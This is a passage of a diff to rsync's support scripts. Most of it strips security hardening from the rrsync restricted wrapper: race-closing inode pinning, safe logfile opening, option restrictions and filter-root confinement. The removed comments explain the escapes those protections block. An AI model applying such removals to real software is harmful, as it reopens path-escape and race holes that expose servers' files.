OK! */\n \treturn 0;\n \n  failed:\n-\tsave_errno = errno;\t/* keep it: a failing close() would overwrite it */\n \tif (fd[0] != -1)\n \t\tclose(fd[0]);\n \tif (fd[1] != -1)\n \t\tclose(fd[1]);\n \tif (listener != -1)\n \t\tclose(listener);\n-\terrno = save_errno;\n \treturn -1;\n }\n \ndiff --git a/support/git-set-file-times b/support/git-set-file-times\nindex 343c2c1..e06f073 100755\n--- a/support/git-set-file-times\n+++ b/support/git-set-file-times\n@@ -1,7 +1,7 @@\n #!/usr/bin/env python3\n \n import os, re, argparse, subprocess\n-from datetime import datetime, timezone\n+from datetime import datetime\n \n NULL_COMMIT_RE = re.compile(r'\\0\\0commit [a-f0-9]{40}$|\\0$')\n \n@@ -57,14 +57,7 @@ def main():\n             for fn in files:\n                 if args.prefix:\n                     fn = args.prefix + fn\n-                try:\n-                    mtime = os.lstat(fn).st_mtime\n-                except FileNotFoundError:\n-                    # Tracked in git but absent from the tree we are stamping.\n-                    # export-ignore in .gitattributes keeps rsync-web/ and the\n-                    # old_versions/ binaries out of \"git archive\", so they have\n-                    # no file here to give a commit time to.\n-                    continue\n+                mtime = os.lstat(fn).st_mtime\n                 if args.list:\n                     print_line(fn, mtime, commit_time)\n                 elif mtime != commit_time:\n@@ -81,7 +74,7 @@ def print_line(fn, mtime, commit_time):\n     if args.list > 1:\n         ts = str(commit_time).rjust(10)\n     else:\n-        ts = datetime.fromtimestamp(commit_time, timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S\")\n+        ts = datetime.utcfromtimestamp(commit_time).strftime(\"%Y-%m-%d %H:%M:%S\")\n     chg = '.' if mtime == commit_time else '*'\n     print(chg, ts, fn)\n \ndiff --git a/support/install_deps_ubuntu.sh b/support/install_deps_ubuntu.sh\nindex 619e3d7..ac49055 100755\n--- a/support/install_deps_ubuntu.sh\n+++ b/support/install_deps_ubuntu.sh\n@@ -9,4 +9,3 @@ sudo apt install -y libxxhash-dev\n sudo apt install -y libzstd-dev\n sudo apt install -y liblz4-dev\n sudo apt install -y libssl-dev\n-sudo apt install -y libidn2-dev\ndiff --git a/support/rrsh.sh b/support/rrsh.sh\ndeleted file mode 100755\nindex 83025f2..0000000\n--- a/support/rrsh.sh\n+++ /dev/null\n@@ -1,21 +0,0 @@\n-#!/bin/sh\n-# abdiff helper: a \"remote shell\" that emulates an sshd forced-command of\n-# `rrsync DIR`.  rsync invokes a remote shell as:\n-#     <shell-words...> [ssh-opts] <host> <rsync --server ...>\n-# so when used as  -e \"sh rrsh.sh <RRSYNC> <DIR>\"  rsync calls us as:\n-#     sh rrsh.sh <RRSYNC> <DIR> [opts] lh rsync --server ...\n-# We hand the server command to rrsync via SSH_ORIGINAL_COMMAND (exactly as\n-# sshd would) and exec the restricted wrapper, so abdiff can A/B the rrsync\n-# path itself.  Only the pretend hosts \"lh\"/\"localhost\" are accepted.\n-RRSYNC=\"$1\"; DIR=\"$2\"; shift 2\n-while [ $# -gt 0 ]; do\n-    case \"$1\" in\n-        -l) shift 2 ;;\n-        lh|localhost) shift; break ;;\n-        -*) shift ;;\n-        *) break ;;\n-    esac\n-done\n-SSH_ORIGINAL_COMMAND=\"$*\"\n-export SSH_ORIGINAL_COMMAND\n-exec \"$RRSYNC\" \"$DIR\"\ndiff --git a/support/rrsync b/support/rrsync\nindex a29889a..e8b0cc0 100755\n--- a/support/rrsync\n+++ b/support/rrsync\n@@ -35,8 +35,7 @@ short_with_num = '@B' # DO NOT REMOVE ANY\n \n # To disable a long-named option, change its value to a -1.  The values mean:\n # 0 = the option has no arg; 1 = the arg doesn't need any checking; 2 = only\n-# check the path arg when receiving; 3 = always check the path arg; and 4 =\n-# allow only a non-elevating --nice setting.\n+# check the arg when receiving; and 3 = always check the arg.\n long_opts = {\n   'append': 0,\n   'backup-dir': 2,\n@@ -47,13 +46,11 @@ long_opts = {\n   'compare-dest': 2,\n   'compress-choice': 1,\n   'compress-level': 1,\n-  'compress-threads': 1,\n   'copy-dest': 2,\n   'copy-devices': -1,\n   'copy-unsafe-links': 0,\n   'daemon': -1,\n-  'debug': -1,\n-  'delay-symlinks': 0,\n+  'debug': 1,\n   'delay-updates': 0,\n   'delete': 0,\n   'delete-after': 0,\n@@ -62,7 +59,6 @@ long_opts = {\n   'delete-during': 0,\n   'delete-excluded': 0,\n   'delete-missing-args': 0,\n-  'dirs': 0,\n   'existing': 0,\n   'fake-super': 0,\n   'files-from': 3,\n@@ -94,7 +90,6 @@ long_opts = {\n   'msgs2stderr': 0,\n   'munge-links': 0,\n   'new-compress': 0,\n-  'nice': 4,\n   'no-W': 0,\n   'no-implied-dirs': 0,\n   'no-msgs2stderr': 0,\n@@ -135,66 +130,9 @@ long_opts = {\n \n ### END of options data produced by the cull-options script. ###\n \n-import os, sys, re, argparse, glob, socket, stat, time, subprocess\n+import os, sys, re, argparse, glob, socket, time, subprocess\n from argparse import RawTextHelpFormatter\n \n-# Held open across exec so rsync inherits them. Each entry pins a path\n-# validated_arg() approved; the corresponding arg passed to rsync is\n-# rewritten to /proc/self/fd/N so rsync's path resolution cannot be\n-# race-flipped after rrsync's realpath check, closing the realpath-vs-exec\n-# TOCTOU.\n-pinned_fds = []\n-\n-# Directory pins, keyed by (st_dev, st_ino), so a glob or a multi-arg command\n-# whose args share a parent inherits one fd rather than one per arg.\n-pinned_dirs = {}\n-\n-# Whether the client asked for --relative/-R, which decides how much of a\n-# sender arg rsync transmits as the file's name (see sender_pinned_arg).\n-client_relative = False\n-\n-# The inode-pin trick needs /proc/self/fd/N to be a Linux-style magic symlink\n-# whose readlink yields the open file's real path. macOS/BSD lack the directory\n-# entirely; Solaris HAS /proc/self/fd but its entries are not such symlinks (its\n-# readlink does not return the path), so an isdir() check is not enough -- probe\n-# the actual behaviour once against a known fd. Where it works we pin (and a\n-# later readlink failure is an anomaly that fails closed); where it does not we\n-# fall through to the unhardened path.\n-#\n-# A correct readlink is NOT sufficient evidence that the fd pins anything, and\n-# the two platforms that get this wrong fail in opposite directions:\n-#\n-#   * NetBSD makes the entry a symlink for DIRECTORIES only -- readlink of a\n-#     regular file's entry fails with EINVAL, so a directory-only probe claims\n-#     support that is not there and every pull of a file dies in the post-pin\n-#     check.\n-#   * Cygwin's readlink returns the right path, but opening the magic link\n-#     RE-RESOLVES it: rename the directory out from under a held fd and the\n-#     magic link reaches the replacement. The pin silently protects nothing.\n-#\n-# Only the Linux kernel gives the inode-bound magic link this relies on, so\n-# require that explicitly and keep the runtime probes as a guard for Linux-like\n-# environments where /proc is absent or restricted (containers, seccomp).\n-def _probe_proc_self_fd():\n-    if not sys.platform.startswith(('linux', 'android')):\n-        return False\n-\n-    def resolves(path):\n-        try:\n-            fd = os.open(path, os.O_RDONLY)\n-        except OSError:\n-            return False\n-        try:\n-            return os.readlink('/proc/self/fd/%d' % fd) == os.path.realpath(path)\n-        except OSError:\n-            return False\n-        finally:\n-            os.close(fd)\n-\n-    return resolves('/') and resolves(os.path.realpath(__file__))\n-\n-HAVE_PROC_SELF_FD = _probe_proc_self_fd()\n-\n try:\n     from braceexpand import braceexpand\n except:\n@@ -204,291 +142,6 @@ HAS_DOT_DOT_RE = re.compile(r'(^|/)\\.\\.(/|$)')\n LONG_OPT_RE = re.compile(r'^--([^=]+)(?:=(.*))?$')\n DE_BACKSLASH_RE = re.compile(r'\\\\(.)')\n \n-def make_inheritable(fd):\n-    \"\"\"Clear FD_CLOEXEC so the exec'd rsync inherits `fd`.\n-\n-    os.set_inheritable() prefers ioctl(FIONCLEX), which an O_PATH descriptor\n-    rejects with EBADF on older kernels; F_SETFD is one of the few operations\n-    O_PATH always allows.\n-    \"\"\"\n-    try:\n-        os.set_inheritable(fd, True)\n-    except OSError:\n-        import fcntl\n-        fcntl.fcntl(fd, fcntl.F_SETFD,\n-                    fcntl.fcntl(fd, fcntl.F_GETFD) & ~fcntl.FD_CLOEXEC)\n-\n-def pin_dir(path, orig_arg):\n-    \"\"\"Inode-pin a directory and return an fd rsync will inherit.\n-\n-    The open resolves `path` normally -- including a symlink at its last\n-    component, which is legitimate and which 3.4.4 accepts -- so a component\n-    could be flipped first.  The readlink check afterwards is what makes that\n-    safe: it proves the inode we ended up holding is inside the restricted\n-    tree.  From then on the fd names that inode, not the path, so nothing above\n-    it can be flipped again.\n-\n-    O_PATH, not O_RDONLY: reaching a known name beneath a directory needs only\n-    search permission, and a mode 0111 parent is a perfectly ordinary way to\n-    publish a file without letting it be listed.  An O_PATH directory fd is\n-    just as firmly pinned when used as a /proc/self/fd/N/... prefix (the O_PATH\n-    caveat in validated_arg() is about reopening the magic link as the file\n-    itself, which is not what happens here).\n-    \"\"\"\n-    flags = os.O_DIRECTORY | getattr(os, 'O_PATH', 0)\n-    if not flags & getattr(os, 'O_PATH', 0):\n-        flags |= os.O_RDONLY\n-    try:\n-        fd = os.open(path or '.', flags)\n-    except OSError as e:\n-        die('unable to pin sender path:', orig_arg, e.strerror)\n-    try:\n-        st = os.fstat(fd)\n-        pinned_path = os.readlink('/proc/self/fd/%d' % fd)\n-    except OSError as e:\n-        os.close(fd)\n-        die('post-pin readlink failed (race?):', orig_arg, e.strerror)\n-    if pinned_path != args.dir and not pinned_path.startswith(args.dir_slash):\n-        os.close(fd)\n-        die('post-pin path escaped tree (race?):', orig_arg, pinned_path)\n-    key = (st.st_dev, st.st_ino)\n-    if key in pinned_dirs:\n-        os.close(fd)\n-        return pinned_dirs[key]\n-    make_inheritable(fd)\n-    pinned_fds.append(fd)\n-    pinned_dirs[key] = fd\n-    return fd\n-\n-# Checked receiver-side directory options, split by what rsync does with a\n-# missing one.  It creates these itself on demand, so rrsync creates and pins\n-# them (0700 for the partial dir, which is what rsync uses -- partial files are\n-# incomplete copies of the peer's data and rsync deliberately does not publish\n-# them to the rest of the machine).\n-CREATE_DIR_MODE = {'--backup-dir': 0o777, '--partial-dir': 0o700}\n-# It requires this one to exist already, so a missing one stays an error.\n-MUST_EXIST_DIR_OPTS = ('--temp-dir',)\n-# And it only READS through these: a missing one is the ordinary first-run case\n-# and must keep working, so stand in an empty directory rather than refusing.\n-EMPTY_BASIS_OPTS = ('--link-dest', '--compare-dest', '--copy-dest')\n-\n-def pinned_empty_dir(orig_arg):\n-    \"\"\"Pin an empty unlinked directory to stand in for a missing basis dir.\n-\n-    A basis lookup cannot tell an empty directory from a missing one, so this\n-    preserves \"first run has no basis\" exactly -- but without leaving a name\n-    the peer can win: the directory is created inside the restricted dir,\n-    opened, then unlinked while we keep the fd, so what rsync is handed has no\n-    path at all for an in-band symlink to take over.\n-    \"\"\"\n-    name = '.rrsync-empty-basis.%d' % os.getpid()\n-    rootfd = os.open('.', os.O_RDONLY | os.O_DIRECTORY)\n-    try:\n-        os.mkdir(name, 0o700, dir_fd=rootfd)\n-    except FileExistsError:\n-        pass   # our own leftover, or something planted; the open decides\n-    except OSError as e:\n-        os.close(rootfd)\n-        die('unable to create basis placeholder:', orig_arg, e.strerror)\n-    try:\n-        fd = os.open(name, os.O_RDONLY | os.O_NOFOLLOW | os.O_DIRECTORY,\n-                     dir_fd=rootfd)\n-    except OSError as e:\n-        os.close(rootfd)\n-        die('unable to pin basis placeholder:', orig_arg, e.strerror)\n-    try:\n-        os.rmdir(name, dir_fd=rootfd)\n-    except FileNotFoundError:\n-        pass   # already gone; we hold the inode either way\n-    except OSError as e:\n-        # The whole point is that rsync gets an inode with no name.  If the\n-        # name survives, the peer can still reach and fill the directory, so\n-        # this is not a placeholder we can safely hand over.\n-        os.close(rootfd)\n-        os.close(fd)\n-        die('unable to detach basis placeholder:', orig_arg, e.strerror)\n-    os.close(rootfd)\n-    if os.listdir(fd):\n-        os.close(fd)\n-        die('basis placeholder is not empty:', orig_arg)\n-    make_inheritable(fd)\n-    pinned_fds.append(fd)\n-    return '/proc/self/fd/%d' % fd\n-\n-def create_pinned_dir(path, orig_arg, mode):\n-    \"\"\"Create a missing receiver-option directory and return a pin of it.\n-\n-    rsync makes --backup-dir/--partial-dir itself and then works inside it, so\n-    the parent-pinned /proc/self/fd/<parent>/<leaf> spelling is not enough: the\n-    same transfer can plant a symlink at <leaf> first and rsync would create\n-    through it, outside the restricted dir.  Creating it here, beneath the\n-    already-pinned parent, means the name is a real directory before rsync ever\n-    looks at it, and the O_NOFOLLOW reopen proves we hold what we made rather\n-    than something that raced in between.\n-    \"\"\"\n-    # Walk down from the restricted dir a component at a time, creating what\n-    # is missing.  rsync builds a whole missing --backup-dir hierarchy itself\n-    # (backup.c make_bak_dir()), so stopping at \"the immediate parent must\n-    # exist\" would refuse a first-use dated/nested name that works today.\n-    #\n-    # O_NOFOLLOW on every component costs nothing and rules out a symlink\n-    # anywhere along the way: `path` is a realpath, so none of its components\n-    # is legitimately a symlink, and each open is relative to the fd we are\n-    # already holding rather than to a name that could be reshaped underneath.\n-    fd = os.open('.', os.O_RDONLY | os.O_DIRECTORY)   # the chdir'd restricted dir\n-    for comp in os.path.relpath(path, args.dir).split(os.sep):\n-        if comp in ('', '.', '..'):\n-            os.close(fd)\n-            die('bad receiver option path:', orig_arg)\n-        try:\n-            nfd = os.open(comp, os.O_RDONLY | os.O_NOFOLLOW | os.O_DIRECTORY,\n-                          dir_fd=fd)\n-        except FileNotFoundError:\n-            try:\n-                os.mkdir(comp, mode, dir_fd=fd)\n-            except FileExistsError:\n-                pass   # raced in; the open below decides if it is usable\n-            except OSError as e:\n-                os.close(fd)\n-                die('unable to create receiver option dir:',\n-                    orig_arg, e.strerror)\n-            try:\n-                nfd = os.open(comp,\n-                              os.O_RDONLY | os.O_NOFOLLOW | os.O_DIRECTORY,\n-                              dir_fd=fd)\n-            except OSError as e:\n-                os.close(fd)\n-                die('receiver option path is not a usable directory:',\n-                    orig_arg, e.strerror)\n-        except OSError as e:\n-            os.close(fd)\n-            die('receiver option path is not a usable directory:',\n-                orig_arg, e.strerror)\n-        os.close(fd)\n-        fd = nfd\n-    try:\n-        dpath = os.readlink('/proc/self/fd/%d' % fd)\n-    except OSError as e:\n-        os.close(fd)\n-        die('post-pin readlink failed (race?):', orig_arg, e.strerror)\n-    if dpath != args.dir and not dpath.startswith(args.dir_slash):\n-        os.close(fd)\n-        die('post-pin path escaped tree (race?):', orig_arg, dpath)\n-    make_inheritable(fd)\n-    pinned_fds.append(fd)\n-    return '/proc/self/fd/%d' % fd\n-\n-# Pinned-argument verdicts that are not a rewritten argument.\n-KEEP_LEAF_PIN = 'keep'          # hand rsync the leaf's own /proc/self/fd/N\n-LEAF_PIN_UNUSABLE = 'unusable'  # no pin for this shape; keep the plain name\n-\n-def sender_pinned_arg(fd, arg, orig_arg, has_slash, has_slash_dot):\n-    \"\"\"Return a source name rsync will both resolve safely and name correctly.\n-\n-    The obvious rewrite -- hand rsync /proc/self/fd/N for the leaf itself --\n-    only works where rsync open()s the argument.  A sender lstat()s it first,\n-    and lstat of a procfs magic link is always S_IFLNK, so rsync describes the\n-    argument as a symlink instead of sending the file.  Which pin is usable\n-    therefore depends on what rsync does with the argument:\n-\n-      * a trailing \"/\" or \"/.\" directory is opened, not lstat()ed, and rsync\n-        DOES follow a symlink there, so it keeps the leaf pin;\n-      * anything else keeps the pin one level up and passes the leaf by name.\n-        rsync will not follow a symlink at that position (it sends the symlink\n-        itself), the follow options that would change that are already disabled\n-        for a restricted dir, and its own leaf open is O_NOFOLLOW.\n-\n-    Under --relative the transmitted name is the whole argument rather than\n-    its basename, so the pin has to move up to wherever that name starts and\n-    the rest is spelled after a /./ marker, which is how rsync is told where\n-    the transmitted portion begins.\n-    \"\"\"\n-    if client_relative:\n-        # Look for the marker in the argument as the client spelled it: the\n-        # caller has already split off a trailing \"/\" or \"/.\", which is exactly\n-        # what turns \"sub/./\" into a terminal marker.\n-        full = arg + ('/' if has_slash else '/.' if has_slash_dot else '')\n-        # rsync honours the FIRST /./, so split there and keep the client's\n-        # marker rather than inserting a second, earlier one.\n-        head, marker, tail = full.partition('/./')\n-        if marker:\n-            anchor, suffix = head, tail.rstrip('/')\n-        else:\n-            anchor, suffix = '', arg\n-        if suffix.startswith('/'):\n-            return LEAF_PIN_UNUSABLE\n-        if suffix in ('', '.'):\n-            # A terminal marker: everything the client wants transmitted starts\n-            # at the argument itself, which is the directory we already pinned.\n-            # The caller re-appends the trailing \"/\" or \"/.\".\n-            dfd = pin_dir(anchor, orig_arg)\n-            check = '.'\n-            pinned = '/proc/self/fd/%d/.' % dfd\n-        else:\n-            dfd = pin_dir(anchor, orig_arg)\n-            pinned = '/proc/self/fd/%d/./%s' % (dfd, suffix)\n-            check = suffix\n-    else:\n-        if has_slash or has_slash_dot:\n-            return KEEP_LEAF_PIN\n-        anchor, _, leaf = arg.rpartition('/')\n-        if not leaf or leaf in ('.', '..'):\n-            return LEAF_PIN_UNUSABLE\n-        dfd = pin_dir(anchor, orig_arg)\n-        pinned = '/proc/self/fd/%d/%s' % (dfd, leaf)\n-        check = leaf\n-\n-    # Tie the pinned directory to the inode realpath() validated: resolving\n-    # `check` beneath the held fd cannot be redirected above the leaf, so if it\n-    # does not reach the same file, something was flipped -- fail closed.\n-    # fd is None for a leaf we deliberately never opened (a symlink, or a\n-    # device/FIFO/socket): there is no inode to compare against, and the leaf\n-    # was never going to be content-opened by the sender either.\n-    if fd is None:\n-        return pinned\n-    try:\n-        st = os.stat(check, dir_fd=dfd)\n-    except OSError as e:\n-        die('post-pin stat failed (race?):', orig_arg, e.strerror)\n-    leaf_st = os.fstat(fd)\n-    if (st.st_dev, st.st_ino) != (leaf_st.st_dev, leaf_st.st_ino):\n-        die('post-pin path changed (race?):', orig_arg, check)\n-    return pinned\n-\n-def receiver_pinned_arg(fd, arg, orig_arg):\n-    \"\"\"Keep existing file destinations writable beneath a pinned parent.\"\"\"\n-    leaf_st = os.fstat(fd)\n-    if stat.S_ISDIR(leaf_st.st_mode):\n-        return KEEP_LEAF_PIN\n-\n-    parent, leaf = os.path.split(arg)\n-    dfd = pin_dir(parent, orig_arg)\n-    try:\n-        st = os.stat(leaf, dir_fd=dfd, follow_symlinks=False)\n-    except OSError as e:\n-        die('post-pin stat failed (race?):', orig_arg, e.strerror)\n-    if (st.st_dev, st.st_ino) != (leaf_st.st_dev, leaf_st.st_ino):\n-        die('post-pin path changed (race?):', orig_arg, leaf)\n-    return '/proc/self/fd/%d/%s' % (dfd, leaf)\n-\n-def safe_open_logfile():\n-    nofollow = getattr(os, 'O_NOFOLLOW', 0)\n-    try:\n-        st = os.lstat(LOGFILE)\n-    except OSError:\n-        return None\n-    if not stat.S_ISREG(st.st_mode):\n-        return None\n-    try:\n-        fd = os.open(LOGFILE, os.O_WRONLY | os.O_APPEND | nofollow)\n-    except OSError:\n-        return None\n-    st2 = os.fstat(fd)\n-    if not stat.S_ISREG(st2.st_mode) or st.st_dev != st2.st_dev or st.st_ino != st2.st_ino:\n-        os.close(fd)\n-        return None\n-    return os.fdopen(fd, 'a')\n-\n def main():\n     if not os.path.isdir(args.dir):\n         die(\"Restricted directory does not exist!\")\n@@ -530,25 +183,9 @@ def main():\n     if args.ro:\n         long_opts['log-file'] = -1\n \n-    global short_disabled\n-    if args.no_overwrite:\n-        # --ignore-existing guards only the live transfer destination.  These\n-        # options append to, consume, move or remove other existing objects in\n-        # the restricted dir.  Backup mode belongs here too: publishing a\n-        # backup onto a name that already exists deletes what is there\n-        # (backup.c make_backup()), and deletion backs files up as well\n-        # (delete.c), so an unrelated --delete can land on a protected name.\n-        # --delay-symlinks creates its symlinks at the end of the transfer and\n-        # replaces whatever has appeared at that name since the\n-        # --ignore-existing check.\n-        long_opts['log-file'] = long_opts['partial-dir'] = long_opts['delay-updates'] = -1\n-        long_opts['delay-symlinks'] = -1\n-        long_opts['backup-dir'] = -1\n-        short_disabled += 'b'   # must precede the short_no_arg_re build below\n-\n     if args.dir != '/':\n+        global short_disabled\n         short_disabled += short_disabled_subdir\n-        long_opts['copy-unsafe-links'] = -1\n \n     short_no_arg_re = short_no_arg\n     short_with_num_re = short_with_num\n@@ -560,14 +197,13 @@ def main():\n     short_no_arg_re = re.compile(r'^-(?=.)[%s]*(e\\d*\\.\\w*)?$' % short_no_arg_re)\n     short_with_num_re = re.compile(r'^-[%s]\\d+$' % short_with_num_re)\n \n-    log_fh = safe_open_logfile()\n+    log_fh = open(LOGFILE, 'a') if os.path.isfile(LOGFILE) else None\n \n     try:\n         os.chdir(args.dir)\n     except OSError as e:\n         die('unable to chdir to restricted dir:', str(e))\n \n-    global client_relative\n     rsync_opts = [ '--server' ]\n     rsync_args = [ ]\n     saw_the_dot_arg = False\n@@ -590,16 +226,7 @@ def main():\n                 saw_the_dot_arg = True\n                 continue\n             rsync_opts.append(arg)\n-            sm = short_no_arg_re.match(arg)\n-            if sm or short_with_num_re.match(arg):\n-                if sm:\n-                    # Scan the cluster's own letters only: the trailing\n-                    # capability blob (-e.iLsfxC) is not a set of options.\n-                    letters = arg[1:]\n-                    if sm.group(1):\n-                        letters = letters[:-len(sm.group(1))]\n-                    if 'R' in letters:\n-                        client_relative = True\n+            if short_no_arg_re.match(arg) or short_with_num_re.match(arg):\n                 continue\n             disabled = False\n             m = LONG_OPT_RE.match(arg)\n@@ -609,11 +236,6 @@ def main():\n                 ct = long_opts.get(opt, None)\n                 if ct is None:\n                     break # Generate generic failure due to unfinished arg parsing\n-                # Last one wins, matching rsync's own option handling.\n-                if opt == 'relative':\n-                    client_relative = True\n-                elif opt == 'no-relative':\n-                    client_relative = False\n                 if ct == 0:\n                     continue\n                 opt = '--' + opt\n@@ -638,34 +260,6 @@ def main():\n     if not saw_the_dot_arg:\n         die(\"invalid rsync-command syntax or options\")\n \n-    if args.dir != '/' and not am_sender:\n-        # A restricted dir denies device/special CREATION, but `-a` (-rlptgoD)\n-        # bundles -D into the client's short-option string, so rejecting -D\n-        # outright would break every `rsync -a` to a restricted rrsync.\n-        #\n-        # --no-D cannot do this job: preserve_devices/preserve_specials also\n-        # frame the file list's rdev fields, and only this end of the\n-        # connection gets the option, so the client's -D sender writes rdev\n-        # that a --no-D receiver never reads.  That desynchronises the list --\n-        # a FIFO hangs the transfer at protocol 29 and corrupts it at 30, a\n-        # device node breaks EVERY protocol.  --drop-D refuses the creation\n-        # while leaving the wire format alone.  (Needs rsync 3.5.0+, which is\n-        # what rrsync is installed alongside.)\n-        #\n-        # Only on the receiving side: creation happens where files are\n-        # written, so a sender has nothing to deny -- --drop-D would be a\n-        # no-op there.\n-        rsync_opts.append('--drop-D')\n-\n-    if args.dir != '/':\n-        # Filter rules travel over the protocol, not in the argv we validate, so\n-        # a client can name a merge file outside the restricted dir and have the\n-        # server read it in as rules -- a pull needs no --delete and no\n-        # verbosity for that.  --confine-root bounds the server's own resolution\n-        # of such paths, which is the only end that can see them.  Both\n-        # directions: a dir-merge is read by whichever side the rule applies to.\n-        rsync_opts.append('--confine-root=' + os.getcwd())\n-\n     if args.munge:\n         rsync_opts.append('--munge-links')\n     \n@@ -693,10 +287,7 @@ def main():\n     if args.no_lock:\n         os.execlp(RSYNC, *cmd)\n         die(\"execlp(\", RSYNC, *cmd, ')  failed')\n-    # pass_fds keeps the inode-pinning O_PATH fds open across the spawn so\n-    # /proc/self/fd/N in the cmd resolves correctly in the child. See the\n-    # pinned_fds comment near the top.\n-    child = subprocess.run(cmd, pass_fds=tuple(pinned_fds))\n+    child = subprocess.run(cmd)\n     if child.returncode != 0:\n         sys.exit(child.returncode)\n \n@@ -705,34 +296,15 @@ def validated_arg(opt, arg, typ=3, wild=False):\n     if opt != 'arg': # arg values already have their backslashes removed.\n         arg = DE_BACKSLASH_RE.sub(r'\\1', arg)\n \n-    if typ == 4:\n-        if not re.fullmatch(r'(?i:local(?::(?:19(?:/idle)?|idle))?)', arg):\n-            die('unsafe --nice setting:', arg)\n-        return arg\n-\n-    # \"-\" is rsync's read-the-list-from-stdin sentinel, not a pathname: a pull\n-    # with a local --files-from sends exactly \"--files-from=-\" to the server.\n-    if opt == '--files-from':\n-        if arg == '-':\n-            return arg\n-        if args.wo:\n-            die('a write-only server cannot read a remote --files-from path')\n-\n     orig_arg = arg\n     if arg.startswith('./'):\n         arg = arg[1:]\n     arg = arg.replace('//', '/')\n-    # One leading slash means the root of the restricted tree.\n-    arg = re.sub(r'^/+', '/', arg)\n-    is_absolute_arg = args.absolute and opt == 'arg' and args.dir != '/' and (arg == args.dir or arg.startswith(args.dir_slash))\n-    is_root_relative_arg = arg.startswith('/') and not is_absolute_arg\n-    if is_root_relative_arg and args.dir != '/':\n-        arg = args.dir + arg\n-    elif not is_absolute_arg:\n-        arg = arg.lstrip('/')\n     if args.dir != '/':\n         if HAS_DOT_DOT_RE.search(arg):\n             die(\"do not use .. in\", opt, \"(anchor the path at the root of your restricted dir)\")\n+        if arg.startswith('/'):\n+            arg = args.dir + arg\n \n     if wild:\n         got = glob.glob(arg)\n@@ -745,7 +317,6 @@ def validated_arg(opt, arg, typ=3, wild=False):\n     for arg in got:\n         if args.dir != '/' and arg != '.' and (typ == 3 or (typ == 2 and not am_sender)):\n             arg_has_trailing_slash = arg.endswith('/')\n-            arg_has_trailing_slash_dot = False\n             if arg_has_trailing_slash:\n                 arg = arg[:-1]\n             else:\n@@ -754,226 +325,12 @@ def validated_arg(opt, arg, typ=3, wild=False):\n                     arg = arg[:-2]\n             real_arg = os.path.realpath(arg)\n             if arg != real_arg and not real_arg.startswith(args.dir_slash):\n-                if not (is_absolute_arg and real_arg == args.dir):\n-                    die('unsafe arg:', orig_arg, [arg, real_arg])\n-            # Inode-pin the validated path so an attacker cannot flip a\n-            # path component AFTER realpath validates it but BEFORE the\n-            # exec'd rsync resolves it.\n-            #\n-            # CRITICAL: open with O_RDONLY (not O_PATH).  An O_PATH fd\n-            # holds a path/dentry reference and /proc/self/fd/N for an\n-            # O_PATH fd re-resolves the path on open -- which means the\n-            # race window stays open across the exec.  A regular\n-            # O_RDONLY fd holds an open file (inode-bound), and\n-            # /proc/self/fd/N for a regular fd references the inode\n-            # directly -- exactly the race-closing primitive we need.\n-            #\n-            # O_NOFOLLOW on this open means a symlink that raced into\n-            # place between realpath and this open is refused at the\n-            # leaf.  A subsequent fstat() + readlink-of-fd verifies the\n-            # pinned inode is still within the restricted tree (a\n-            # parent-component race that landed on an in-tree symlink\n-            # but outside-tree target would surface here).\n-            #\n-            # /proc/self/fd/N then routes the exec'd rsync's open\n-            # through the kernel's magic link to the SAME pinned inode\n-            # regardless of any subsequent flip; the race is closed.\n-            #\n-            # Linux-only (O_PATH/proc trick is Linux specific); on\n-            # non-Linux fall through to the unhardened path.  For paths\n-            # that don't exist yet (receiver-side new dest) os.open\n-            # fails -- we skip pinning there; the new-dest race is a\n-            # separate concern.\n-            # Only a regular file or directory gets its CONTENT opened.  A\n-            # sender needs neither for anything else: rsync transmits a symlink\n-            # by its target string and skips a device/FIFO/socket under the\n-            # forced --no-D.  Opening them here is also actively wrong --\n-            # O_RDONLY on a FIFO blocks until a writer appears, so naming an\n-            # in-tree FIFO wedged rrsync before exec, and a dangling symlink\n-            # resolved to a missing target and was reported as a race.  3.4.4\n-            # transfers both.  These shapes take the parent pin, which is what\n-            # confines them anyway.\n-            # NOT for a trailing \"/\" or \"/.\" argument: rsync opens that one and\n-            # DOES follow a symlink there, so its leaf pin is load-bearing --\n-            # rrsync-sender-leaf-flip proves a raced flip leaks the outside\n-            # directory's content without it.\n-            sender_leaf_unopened = False\n-            # Not gated on HAVE_PROC_SELF_FD: this is a decision about what\n-            # rsync does with the argument, not about whether we can pin it, so\n-            # it has to hold on the BSDs, macOS, Solaris and Cygwin too -- where\n-            # otherwise a dangling symlink still resolved to nothing and died.\n-            if (am_sender and opt == 'arg'\n-                    and not arg_has_trailing_slash\n-                    and not arg_has_trailing_slash_dot):\n-                try:\n-                    lst = os.lstat(arg)\n-                except OSError:\n-                    lst = None\n-                if lst is not None and not (stat.S_ISREG(lst.st_mode)\n-                                            or stat.S_ISDIR(lst.st_mode)):\n-                    sender_leaf_unopened = True\n-            try:\n-                if sender_leaf_unopened:\n-                    raise InterruptedError()   # jump to the sender-pin branch\n-                try:\n-                    # O_NONBLOCK so a special file that raced in after the\n-                    # lstat above still cannot block this open.\n-                    fd = os.open(real_arg,\n-                                 os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)\n-                except IsADirectoryError:\n-                    fd = os.open(real_arg,\n-                                 os.O_RDONLY | os.O_NOFOLLOW | os.O_DIRECTORY)\n-            except InterruptedError:\n-                # No CONTENT fd for this leaf -- but it is still named\n-                # beneath a pinned directory below, not re-resolved from\n-                # the tree root.\n-                fd = None\n-            except FileNotFoundError:\n-                # In --sender mode the path MUST exist (we're reading\n-                # from it) -- ENOENT here means the rename-based race\n-                # caught a transient gap in the flipper's swap.  Die.\n-                if am_sender:\n-                    die('post-realpath open failed (race detected):',\n-                        orig_arg, 'No such file or directory')\n-                if opt in MUST_EXIST_DIR_OPTS:\n-                    die('receiver option path does not exist:', orig_arg)\n-                # Receiver-side new destination: the leaf has no inode to pin\n-                # yet, but pin its existing PARENT directory and route the\n-                # exec'd rsync's creation through /proc/self/fd/<parent>/<leaf>,\n-                # so a parent-component flip after realpath can't redirect the\n-                # new file/dir out of the tree.  Linux-only (the /proc magic\n-                # link); elsewhere, or if the parent itself doesn't exist yet\n-                # (a deeper -R new path), fall through unpinned as before.\n-                fd = None\n-                leaf = os.path.basename(real_arg)\n-                if opt in CREATE_DIR_MODE or opt in EMPTY_BASIS_OPTS:\n-                    # An auxiliary directory the peer can supply mid-transfer.\n-                    # The parent-pinned spelling below is not enough for these:\n-                    # the same transfer can plant a symlink at <leaf> first,\n-                    # and rsync would create or read through it, outside the\n-                    # tree.  Both answers below hand rsync an inode instead of\n-                    # a name, so without that primitive there is no 